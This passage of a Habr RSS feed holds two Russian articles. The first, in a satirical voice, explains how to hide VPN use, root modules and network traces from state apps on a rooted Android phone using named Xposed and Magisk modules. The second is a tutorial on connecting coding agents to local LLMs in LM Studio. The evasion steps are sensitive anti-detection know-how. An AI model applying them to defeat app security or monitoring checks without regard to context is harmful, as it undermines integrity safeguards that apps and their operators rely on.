несколько, но наиболее популярный среди Ненадёжных элементов — Hide My Applist. Скачивается с GitHub, устанавливается как обычный APK, активируется в настройках LSPosed/Vector для системного процесса и требует перезагрузки. После чего живёт на устройстве как обычное приложение со своим интерфейсом.&lt;p&gt;Модуль поддерживает два режима работы:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Чёрный список&lt;/strong&gt; — приложение видит все пакеты, кроме явно скрытых.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Белый список&lt;/strong&gt; — приложение не видит ничего, кроме явно разрешённого.&lt;/ul&gt;&lt;p&gt;В настройках указывается, какое приложение что видит: Государственному приложению скрываются пакеты Перехватчиков трафика. Многие предпочитают белый список с минимальным набором разрешённых пакетов — проще, чем перечислять всё что нужно скрыть.&lt;p&gt;В паре с модулем идёт приложение для проверки результата — Applist Detector, скачивается отдельно.&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5f1/a10/2d3/5f1a102d330ec66ca27e7a1846cbdcfd.png alt=&#34;После настройки он не обнаруживает ничего подозрительного — несмотря на то что среда сильно модифицирована.&#34; title=&#34;После настройки он не обнаруживает ничего подозрительного — несмотря на то что среда сильно модифицирована.&#34; width=1220 height=2712 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5f1/a10/2d3/5f1a102d330ec66ca27e7a1846cbdcfd.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5f1/a10/2d3/5f1a102d330ec66ca27e7a1846cbdcfd.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/23c/3d8/481/23c3d848104a50b7d5cf0b67358b8a70.png width=1220 height=2712 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/23c/3d8/481/23c3d848104a50b7d5cf0b67358b8a70.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/23c/3d8/481/23c3d848104a50b7d5cf0b67358b8a70.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/276/9bd/7e2/2769bd7e2c7d6ddc9038886a0ba18b00.png width=1220 height=2712 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/276/9bd/7e2/2769bd7e2c7d6ddc9038886a0ba18b00.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/276/9bd/7e2/2769bd7e2c7d6ddc9038886a0ba18b00.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;После настройки он не обнаруживает ничего подозрительного — несмотря на то что среда сильно модифицирована.&lt;h2&gt;Задача 2. Скрытие системного флага активного Перехватчика трафика&lt;/h2&gt;&lt;p&gt;На скриншотах выше заметен значок ключа в статус-баре — Android выставляет его при активном Перехватчике трафика, и этот статус без каких-либо разрешений доступен любому приложению, которое о нём спросит. Государственному в том числе.&lt;p&gt;Для перехвата этого вектора используется модуль NoVPNDetect или его расширенная версия NoVPNDetect Enhanced — большинство Ненадёжных элементов отдаёт предпочтение второй, привлечённые многообещающим словом &amp;#34;Enhanced&amp;#34;.&lt;p&gt;Применяется он иначе, чем Hide My Applist: активируется точечно на целевые приложения, которым необходимо скрыть статус Перехватчика. На сами Перехватчики трафика и системные процессы не применяется — иначе система перестанет понимать, что происходит на устройстве. Настроек модуль не имеет: активировал — перезагрузился — забыл.&lt;p&gt;Результат проверяется приложением VPN Detector. Оно проверяет несколько уровней детекции — от простого поиска по имени пакета до низкоуровневых системных проверок.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4fa/869/548/4fa86954894a0b2a7eba26b667386ce8.png width=1220 height=2712 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4fa/869/548/4fa86954894a0b2a7eba26b667386ce8.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4fa/869/548/4fa86954894a0b2a7eba26b667386ce8.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;До применения модуля картина была иной. После — несмотря на красноречивый значок ключа в статус-баре, детектор не обнаруживает никаких признаков Перехватчика трафика.&lt;h2&gt;Задача 3. Скрытие сетевых интерфейсов&lt;/h2&gt;&lt;p&gt;Этот же модуль закрывает и данный вектор — отдельных настроек не требуется. При активном Перехватчике трафика в системе появляется сетевой интерфейс с характерным именем — &lt;code&gt;tun0&lt;/code&gt;, &lt;code&gt;ppp0&lt;/code&gt; и подобные. Опытный взгляд Государственного приложения такое не пропустит. NoVPNDetect перехватывает запрос списка интерфейсов и возвращает приложению актуальный список — но без компрометирующих записей.&lt;h2&gt;Дополнительная маскировка&lt;/h2&gt;&lt;p&gt;Автор NoVPNDetect дополнительно рекомендует устанавливать Magisk/KSU модуль PortGuard. Он закрывает ещё один вектор: список портов, которые слушает система, доступен через &lt;code&gt;/proc/net/tcp&lt;/code&gt; и &lt;code&gt;/proc/net/tcp6&lt;/code&gt; — по открытым портам внимательное Государственное приложение способно восстановить картину происходящего на устройстве. PortGuard эту картину скрывает.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/113/6c8/b5d/1136c8b5dc53edbc88dd16284de9d357.png width=1220 height=2712 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/113/6c8/b5d/1136c8b5dc53edbc88dd16284de9d357.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/113/6c8/b5d/1136c8b5dc53edbc88dd16284de9d357.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Альтернативные способы&lt;/h2&gt;&lt;p&gt;Обе альтернативы реализуют описанное лишь частично — на звание полноценного решения не претендуют.&lt;p&gt;&lt;strong&gt;Iptables (только для root).&lt;/strong&gt; Перехватчик трафика поднимается не через стандартный VpnService API, а через прямую настройку iptables с использованием root-доступа. Android при этом не выставляет системный флаг и не создаёт характерных интерфейсов — значок ключа в статус-баре не появляется. Однако низкоуровневые методы детекции таким образом не закрыть.&lt;p&gt;&lt;strong&gt;LSPatch (без root).&lt;/strong&gt; Приложение пересобирает целевой APK, встраивая Xposed-runtime непосредственно в него — без необходимости системного фреймворка. Подпись приложения при этом меняется, что само по себе может вызвать подозрения у бдительного Государственного приложения. Не все Xposed-модули поддерживают этот режим — NoVPNDetect Enhanced поддержку LSPatch заявляет, однако вероятность что целевое приложение откажется функционировать после патча заметно выше, чем при полноценном Xposed.&lt;h2&gt;Выводы&lt;/h2&gt;&lt;p&gt;Отрадно констатировать: умы Благонадёжных граждан, не обременённых излишними техническими познаниями, находятся под надёжной защитой Государства. Выявление Перехватчиков трафика через веб-ресурсы работает практически безотказно — скрыться от Праведного взора сайта Ненадёжному элементу не представляется возможным. Использование веб-версий Государственных ресурсов обеспечивает полный контроль над Умами граждан.&lt;p&gt;Ложкой дёгтя служат нативные приложения. Описанный стек инструментов — LSPosed/Vector + Hide My Applist + NoVPNDetect Enhanced + PortGuard — позволяет технически грамотному Ненадёжному элементу планомерно закрыть все известные векторы детекции. Государству остаётся лишь надеяться, что высокий порог входа — разблокированный загрузчик, root, необходимость понимать что и куда применять — удержит большинство от этого скользкого пути.&lt;p&gt;Будем откровенны: удерживает. Но не всех.&lt;blockquote&gt;&lt;p&gt;Если ты в меньшинстве — и даже в единственном числе — это не значит, что ты безумен&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>66demon666</author>
      <guid>https://habr.com/ru/articles/1024890/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024890</guid>
      <pubDate>Sat, 18 Apr 2026 01:12:25 +0000</pubDate>
    </item>
    <item>
      <title>Пробуем использовать локальные LLM для написания кода</title>
      <link>https://habr.com/ru/articles/1024884/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024884</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h2&gt;Интро&lt;/h2&gt;&lt;p&gt;Когда возникают мысли про бесплатное использование агентов для написания кода, появляются два варианта: поискать бесплатные сервисы и использовать локальные модели. В прошлой &lt;a href=https://habr.com/ru/sandbox/278764/ rel=&#34;noopener noreferrer nofollow&#34;&gt;статье&lt;/a&gt; мы рассмотрели возможности бесплатного использования облачных моделей. В этой же статье мы посмотрим, можно ли использовать локальные модели для написания кода с помощью тех же агентов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/938/07a/d87/93807ad871e30f76694243271f0dbd72.jpg width=1344 height=768 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/938/07a/d87/93807ad871e30f76694243271f0dbd72.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/938/07a/d87/93807ad871e30f76694243271f0dbd72.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Ограничения у облачных моделей&lt;/h2&gt;&lt;p&gt;У всех облачных моделей есть ряд ограничений. Рассмотрим основные из них.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Лимиты&lt;/strong&gt; (часовые, суточные и недельные). Когда квоты заканчиваются, вы не можете пользоваться моделью до начала нового периода с новыми квотами. Решения тут могут быть только такими: использовать другого провайдера или перейти на более дорогой тарифный план с большими квотами.&lt;br&gt;&lt;br&gt;&lt;strong&gt;Приватность&lt;/strong&gt;. Всё, с чем работает ваш агент (код, промпты, файлы), передаётся на удалённые серверы провайдера LLM, который предоставляет вам модель. Моделям нужны ваши данные для анализа и подготовки ответов — по‑другому практически никак.&lt;br&gt;Но есть альтернатива: развернуть модель локально и не передавать данные никуда.&lt;br&gt;&lt;br&gt;&lt;strong&gt;SLA и сетевая задержка&lt;/strong&gt;. Как и любые другие сервисы, облачные модели требуют времени на передачу данных по сети и не всегда могут быть доступны.&lt;hr&gt;&lt;h3&gt;Локальные модели: компромисс качества и ресурсовЛокальные модели и ресурсы&lt;/h3&gt;&lt;p&gt;Сразу становится понятно, что за приватность придётся платить качеством модели. На серверах работают огромные модели, которым нужно много ресурсов. Критически важные из них — это оперативная память (&lt;a href=https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C rel=&#34;noopener noreferrer nofollow&#34;&gt;RAM&lt;/a&gt;) и видеопамять (&lt;a href=https://ru.wikipedia.org/wiki/VRAM rel=&#34;noopener noreferrer nofollow&#34;&gt;VRAM&lt;/a&gt;). Локально у нас нет столько ресурсов, и приходится балансировать между нашими ресурсами и качеством модели. И как следствие — использовать модели с меньшим числом параметров.&lt;p&gt;Для быстрой работы нужно, чтобы вся модель помещалась в VRAM — это идеальный вариант. Если она полностью поместится в RAM — это рабочий вариант, но уже не такой хороший по скорости.&lt;p&gt;Наша основная цель — проверить, может ли локальная модель отвечать за время, сравнимое с облачной, и при этом с приемлемым качеством.&lt;h3&gt;Память Apple Silicon&lt;/h3&gt;&lt;p&gt;Тестировать мы будем на MacBook Pro с процессором M4 Pro и 48 ГБ памяти. Машина достаточно мощная и должна себя хорошо показать. Мы ожидаем, что скорость её работы будет ненамного хуже, чем у облачных моделей, но качество — ниже. На других конфигурациях могут быть другие результаты.&lt;p&gt;Стоит ещё немного рассказать про память в устройствах Apple. Архитектура Apple Silicon: процессоры серии M используют так называемую unified memory (унифицированная память) — это общая память и для графического, и для центрального процессора. Значит, у нас нет раздельной оперативной памяти и видеопамяти. У нас один пул памяти, который доступен как центральному, так и графическому процессору. С одной стороны, это для нас очень хорошо, так как 48 ГБ памяти (за исключением затрат на приложения) доступны нам для модели, и это очень хорошие цифры. Но с другой стороны, все работающие приложения потребляют ту же память, что и модель, и могут мешать друг другу.&lt;h2&gt;Поиск локальной модели&lt;/h2&gt;&lt;h3&gt;Как найти и выбрать локальную модель?&lt;/h3&gt;&lt;p&gt;Теперь, когда мы разобрались с возможностями Mac, перейдём к выбору подходящей модели. Для поиска моделей существуют специальные агрегаторы с фильтрами, например &lt;a href=https://huggingface.co/models rel=&#34;noopener noreferrer nofollow&#34;&gt;Hugging Face&lt;/a&gt;, где представлено множество моделей, доступных для локального использования. Там есть фильтры, которые помогают в поиске.&lt;p&gt;Что важно знать при поиске модели:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Специализация. &lt;/strong&gt;Модели могут быть узконаправленными (например, &lt;a href=https://huggingface.co/unsloth/Qwen3-Coder-Next-GGUF rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3-Coder&lt;/a&gt;, для написания кода — в названии часто встречается &lt;code&gt;&lt;em&gt;coder&lt;/em&gt;&lt;/code&gt;) или более общими (например, &lt;a href=https://huggingface.co/Qwen/Qwen3.5-9B rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3.5&lt;/a&gt;, которая может работать как с текстом, так и с картинками).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ресурсы и совместимость. &lt;/strong&gt;Если зарегистрироваться и добавить свою конфигурацию ресурсов, можно отслеживать, какая модель совместима с вашим железом, а какая потребует слишком много ресурсов. Такая же возможность проверки есть в поиске модели в LM Studio. Тут стоит помнить, что кроме ресурсов для модели вам еще нужна память для контекста, с которым модель будет работать.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Форматы: GGUF и MLX&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;GGUF&lt;/strong&gt; — универсальный формат, работает на любых системах, обычно имеет больше настроек запуска модели&lt;li&gt;&lt;p&gt;&lt;strong&gt;MLX&lt;/strong&gt; — специальная версия для Mac с процессорами M-серии, оптимизированная для максимальной скорости.&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Думающие модели (&lt;em&gt;thinking mode&lt;/em&gt;).&lt;/strong&gt; Это модели, которые перед тем как дать ответ, как бы «думают» — вы видите их рассуждения и финальный результат. Обычно они медленнее, но дают лучший результат. &lt;a href=https://huggingface.co/Qwen/Qwen3.5-9B rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3.5&lt;/a&gt; пример такой модели. Также стоит уточнить, что такие модели полезны для сложных рассуждений, но не для быстрого кодинга.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Использование сторонних инструментов (Function Calling) &lt;/strong&gt; —&lt;strong&gt; &lt;/strong&gt;поддержка вызова инструментов (Function Calling) важна для агентов, так как позволяет модели взаимодействовать с внешними программами.&lt;/ul&gt;&lt;h3&gt;Разбор аббревиатур в названии модели&lt;/h3&gt;&lt;p&gt;После того как вы познакомились с критериями выбора, полезно разобраться, что означают буквы и цифры в названии модели. Чтобы лучше понимать модели, разберём обозначения в названии модели на примере &lt;a href=https://huggingface.co/lmstudio-community/Qwen3-Coder-30B-A3B-Instruct-MLX-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3-Coder-30B-A3B-Instruct-MLX-4bit&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Qwen3&lt;/strong&gt; — семейство моделей от &lt;a href=https://en.wikipedia.org/wiki/Qwen rel=&#34;noopener noreferrer nofollow&#34;&gt;Alibaba Cloud&lt;/a&gt;.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Coder&lt;/strong&gt; — указание на то, что модель ориентирована на работу с кодом.&lt;li&gt;&lt;p&gt;&lt;strong&gt;30B&lt;/strong&gt; — размер модели в миллиардах параметров (30 миллиардов). Обычно больше параметров даёт лучшее качество, но модель работает медленнее и требует больше памяти.&lt;li&gt;&lt;p&gt;&lt;strong&gt;A3B&lt;/strong&gt; — обозначение архитектуры MoE (Mixture of Experts). Может отсутствовать в названии. Позволяет выжать максимум скорости: активируются только 3 миллиарда параметров из 30, благодаря чему скорость близка к 3B-модели, а качество — к 30B.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Instruct &lt;/strong&gt;— модель, которая даёт ответ без предварительного «размышления» (без режима Thinking). Обычно отвечает быстрее и точнее реагирует на ваши команды.&lt;li&gt;&lt;p&gt;&lt;strong&gt;MLX&lt;/strong&gt; — версия для архитектуры Apple Silicon.&lt;li&gt;&lt;p&gt;&lt;strong&gt;4bit&lt;/strong&gt; — квантизация (количество бит на один слой). Чем больше бит, тем точнее модель, но медленнее; чем меньше — тем быстрее, но менее качественные ответы может давать.&lt;/ul&gt;&lt;p&gt;Далее посмотрим на еще одну характеристику моделей, которую редко встретишь на агрегаторах.&lt;h3&gt;Оценки скорости работы моделей&lt;/h3&gt;&lt;p&gt;Вопрос довольно сложный, так как нужно искать баланс между качеством и скоростью работы. Ограничение сверху — модель должна помещаться в вашу память, и лучше с запасом. Есть ресурсы, например &lt;a href=https://apxml.com/tools/vram-calculator rel=&#34;noopener noreferrer nofollow&#34;&gt;VRAM-калькулятор&lt;/a&gt; или &lt;a href=https://omlx.ai/compare rel=&#34;noopener noreferrer nofollow&#34;&gt;Performance Explorer&lt;/a&gt;, которые помогают оценить скорость генерации токенов на вашей конфигурации для разных моделей. Стоит на него посмотреть, чтобы оценить производительность вашего железа. Вряд ли вас устроит модель, которая часами будет генерировать ответ. Однако слепо доверять таким прогнозам не стоит — это лишь ориентир для первичного сравнения.&lt;details class=spoiler&gt;&lt;summary&gt;Оценка M4 Pro для модели типа Qwen3-30B-A3B-4bit ~ 150 t/c&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/789/663/502/78966350281c90950e2af42354875f4f.png width=2166 height=1540 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/789/663/502/78966350281c90950e2af42354875f4f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/789/663/502/78966350281c90950e2af42354875f4f.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Если у вас Mac с процессорами M-серии, то есть интересный проект &lt;a href=https://omlx.ai/ rel=&#34;noopener noreferrer nofollow&#34;&gt;oMLX&lt;/a&gt;, который пытается максимально оптимизировать скорость работы LLM, сам проект я не пробовал использовать. Но у него есть &lt;a href=https://omlx.ai/benchmarks rel=&#34;noopener noreferrer nofollow&#34;&gt;интересная страница&lt;/a&gt;, с реальными замерами разных моделей с разными конфигурациями железа и с разными размерами контекстов. Данные со страницы выглядят достоверными и согласуются с моими наблюдениями.&lt;hr&gt;&lt;h3&gt;Запуск LLM локально&lt;/h3&gt;&lt;p&gt;Теперь, когда мы разобрались с оценкой скорости, перейдём к практическому запуску моделей. На сегодняшний день есть много способов запустить LLM локально. Рассмотрим несколько самых популярных из них:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://ollama.com/ rel=&#34;noopener noreferrer nofollow&#34;&gt;Ollama&lt;/a&gt; — консольный интерфейс, который позволяет скачивать и запускать LLM (на мой взгляд, больше подходит для развёртывания на своих серверах из-за отсутствия удобного интерфейса).&lt;li&gt;&lt;p&gt;&lt;a href=https://lmstudio.ai/ rel=&#34;noopener noreferrer nofollow&#34;&gt;LM Studio&lt;/a&gt; — имеет удобный графический интерфейс, работать в котором приятнее. Имеет встроенный чат и совместимый API со многими агентами.&lt;/ul&gt;&lt;p&gt;Можно взять любую из них или любое другое решение — подход будет одинаковым. Мы же остановимся на LM Studio. Скачать её можно с официального сайта и установить. После запуска стоит сразу включить &lt;a href=https://lmstudio.ai/docs/developer/core/server rel=&#34;noopener noreferrer nofollow&#34;&gt;локальный сервер&lt;/a&gt;, чтобы агенты могли подключаться к модели по API. Сервер будет обрабатывать наши запросы и передавать их локальной модели.&lt;h2&gt;Загрузка и настройка модели в LM Studio&lt;/h2&gt;&lt;p&gt;После того как мы выбрали LM Studio в качестве инструмента, перейдём к загрузке и настройке конкретной модели. Возьмём для примера модель &lt;a href=https://huggingface.co/mlx-community/Qwen3-Coder-30B-A3B-Instruct-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;Qwen3-Coder-30B-A3B-Instruct-MLX-4bit&lt;/a&gt;, которую ранее нашли на Hugging Face. Открываем LM Studio, вводим в поиск название модели и скачиваем её.&lt;details class=spoiler&gt;&lt;summary&gt;Скачиваем модель через LM Studio&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e7f/fe9/f5a/e7ffe9f5a16c40392fedcbdcf868014d.png width=3000 height=1708 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e7f/fe9/f5a/e7ffe9f5a16c40392fedcbdcf868014d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e7f/fe9/f5a/e7ffe9f5a16c40392fedcbdcf868014d.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;После того, как скачали, нам нужно её загрузить.&lt;details class=spoiler&gt;&lt;summary&gt;Подсказки в интерфейсе&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/826/e93/793/826e937931cecc9fa65bc0634c4ead27.png width=3014 height=1290 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/826/e93/793/826e937931cecc9fa65bc0634c4ead27.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/826/e93/793/826e937931cecc9fa65bc0634c4ead27.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Для корректной работы с расширениями нужно ещё в настройках сервера включить CORS. CORS необходим для того, чтобы внешние агенты (например, Claude Code) могли подключаться к серверу LM Studio.&lt;details class=spoiler&gt;&lt;summary&gt;Настройка CORS&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a8e/beb/0ac/a8ebeb0ac6956e361c6f14dafe555864.png alt width=1126 height=982 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a8e/beb/0ac/a8ebeb0ac6956e361c6f14dafe555864.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a8e/beb/0ac/a8ebeb0ac6956e361c6f14dafe555864.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;В результате мы получаем модель, готовую к использованию с локальным сервером, который будет принимать запросы от наших агентов.&lt;details class=spoiler&gt;&lt;summary&gt;Работающий сервер с загруженой моделью&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c57/14a/81a/c5714a81a8a7b19e975dd2982d85d6ad.png width=3020 height=1066 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c57/14a/81a/c5714a81a8a7b19e975dd2982d85d6ad.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c57/14a/81a/c5714a81a8a7b19e975dd2982d85d6ad.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;В LM Studio уже есть встроенный чат, через который мы можем общаться с LLM. Это довольно удобно, если нам не нужно менять существующий код (например, для генерации разового скрипта или других одноразовых задач). Кроме того, там есть встроенный замер скорости генерации ответа — очень полезная вещь, чтобы сравнить реальные результаты моделей между собой и с прогнозируемыми оценками.&lt;details class=spoiler&gt;&lt;summary&gt;82 ток/сек реальный результат вместо 150&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c90/20a/ad9/c9020aad998349da65cdc647589b7c4d.png width=2456 height=1886 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c90/20a/ad9/c9020aad998349da65cdc647589b7c4d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c90/20a/ad9/c9020aad998349da65cdc647589b7c4d.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Теперь, когда модель загружена и настроена, перейдём к подключению агентов.&lt;h2&gt;Подключаем агентов&lt;/h2&gt;&lt;p&gt;Тестировать мы будем на нескольких агентах: Claude Code, Kilo Code, Open Code, Aider. У нас будет несколько агентов, некоторые из них работают через CLI, другие — как плагины для VS Code. Не буду рассказывать, как установить каждый из них, про это есть много статей, только кратко расскажем как их подключить к локальной модели.&lt;ul&gt;&lt;li&gt;&lt;p&gt;Kilo Code (v5.12.0) — в эксперименте был как &lt;a href=https://plugins.jetbrains.com/plugin/28350-kilo-code rel=&#34;noopener noreferrer nofollow&#34;&gt;плагин&lt;/a&gt; для VS Code, также плагин для IntelliJ IDEA и есть CLI. Kilo Code — форк Roo Code, который, в свою очередь&lt;strong&gt;,&lt;/strong&gt; является форком Cline. Поэтому эти агенты так похожи между собой.&lt;li&gt;&lt;p&gt;Open Code — &lt;a href=https://opencode.ai/ rel=&#34;noopener noreferrer nofollow&#34;&gt;CLI-агент&lt;/a&gt; с большим количеством звезд на GitHub.&lt;li&gt;&lt;p&gt;Claude Code — наверное самый популярный CLI &lt;a href=https://code.claude.com/docs/en/overview rel=&#34;noopener noreferrer nofollow&#34;&gt;агент&lt;/a&gt; на сегодня от Anthropic.&lt;li&gt;&lt;p&gt;Aider — небольшой CLI &lt;a href=https://aider.chat/ rel=&#34;noopener noreferrer nofollow&#34;&gt;агент&lt;/a&gt;, который себя позиционирует как помощник по кодингу&lt;/ul&gt;&lt;h3&gt;Claude Code&lt;/h3&gt;&lt;p&gt;Нам нужно научить Claude Code работать с нашей локальной LLM. Первое, что стоит знать: у Claude Code свой API, немного другой, чем у всех остальных. В прошлый раз мы использовали &lt;a href=https://github.com/musistudio/claude-code-router rel=&#34;noopener noreferrer nofollow&#34;&gt;Claude Code Router&lt;/a&gt;. Но в этот раз нам это не нужно — LM Studio поддерживает этот формат API из коробки.&lt;p&gt;Нам нужно лишь проставить переменные окружения и указать, какую модель использовать. Больше конфигурации и детальных настроек можно посмотреть &lt;a href=https://habr.com/ru/companies/bothub/articles/1022574 rel=&#34;noopener noreferrer nofollow&#34;&gt;в статье&lt;/a&gt;, но нам будет достаточно этих параметров.&lt;pre&gt;&lt;code class=bash&gt;export ANTHROPIC_BASE_URL=http://localhost:1234 - смотрим на локальный сервер&#xA;export ANTHROPIC_AUTH_TOKEN=lmstudio - тут просто заглушка&#xA;env | grep ANTHROPIC - проверим что все установилось&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Запуск через стандартный вариант из консоли — нужно только указать название модели (можно скопировать из LM Studio):&lt;p&gt;&lt;code&gt;claude --model qwen3-coder-30b-a3b-instruct-mlx&lt;/code&gt;&lt;h3&gt;Kilo Code&lt;/h3&gt;&lt;p&gt;Kilo Code из коробки поддерживает LM Studio, поэтому просто добавляем нового провайдера и переключаем все профили для него.&lt;details class=spoiler&gt;&lt;summary&gt;Просто добавляем LM Studio как еще одного провайдера&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/908/49b/1e5/90849b1e515968edc0b45cd96c2c9a3c.png width=1738 height=1464 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/908/49b/1e5/90849b1e515968edc0b45cd96c2c9a3c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/908/49b/1e5/90849b1e515968edc0b45cd96c2c9a3c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/details&gt;&lt;details class=spoiler&gt;&lt;summary&gt;Не забываем переключить все профили на локальный&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/084/f53/d64/084f53d648d3ed2cf04ffe5206f3e21c.png width=1722 height=426 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; 